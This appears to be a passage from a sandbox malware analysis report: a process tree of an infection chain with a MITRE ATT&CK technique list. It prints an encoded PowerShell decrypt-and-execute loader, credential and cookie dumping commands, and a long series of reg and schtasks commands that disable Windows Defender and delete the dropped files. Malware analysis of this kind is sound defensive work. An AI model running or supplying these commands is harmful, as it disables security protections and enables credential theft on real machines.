AYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA==
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1704
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -EncodedCommand $MyEncodedScript"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3064
- C:\Windows\System32PROTECTIONS.EXE
  "C:\Windows\System32PROTECTIONS.EXE"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\System32PROTECTIONS.EXE
    "C:\Windows\System32PROTECTIONS.EXE"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2500
- C:\Windows\System32REGISTRY.EXE
  "C:\Windows\System32REGISTRY.EXE"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2372 -s 900
    3⤵
    PID:2928
- C:\Windows\System32WINDOWS DEFENDER.EXE
  "C:\Windows\System32WINDOWS DEFENDER.EXE"
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System32WINDOWS MANGER.EXE
  "C:\Windows\System32WINDOWS MANGER.EXE"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
    "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs6KMBcrhm75cDojsjt5goub
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2076
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1876
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c compile.bat
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2276
      - C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
        
        C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1540
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2796
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c compile.bat
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2952
      - C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2612
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1944
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c compile.bat
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2776
      - C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
        
        C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2212
      - C:\Users\Admin\AppData\Local\Temp\splwow64.exe
        
        C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2780
      - C:\Users\Admin\AppData\Local\Temp\hh.exe
        
        C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2604
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2632
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c compile.bat
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2608
      - C:\Users\Admin\AppData\Local\Temp\xwizard.exe
        
        C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2272
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2656
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2664
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2576
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2232
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2592
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2960
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2948
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2632
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2680
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:2704
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2712
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
      4⤵
      System Location Discovery: System Language Discovery
      PID:2736
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2752
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2732
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2636
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2816
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:2440
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:2760
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:2596
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:2880
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:1380
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1924
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2384
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1668
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1968
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2404
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:1772
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:1932
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:1648
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      System Location Discovery: System Language Discovery
      PID:2900
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies security service
      System Location Discovery: System Language Discovery
      PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\System32WINDOWS MANGER.EXE"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
  - - C:\Windows\SysWOW64\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      System Location Discovery: System Language Discovery
      PID:2772
- C:\Windows\System32WINDOWS PROTECTOR.EXE
  "C:\Windows\System32WINDOWS PROTECTOR.EXE"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Maps connected drives based on registry
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:1028
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1028 -s 1324
    3⤵
    PID:2012
- C:\Windows\System32WINDOWS SECURITY.EXE
  "C:\Windows\System32WINDOWS SECURITY.EXE"
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE
  "C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE
    "C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion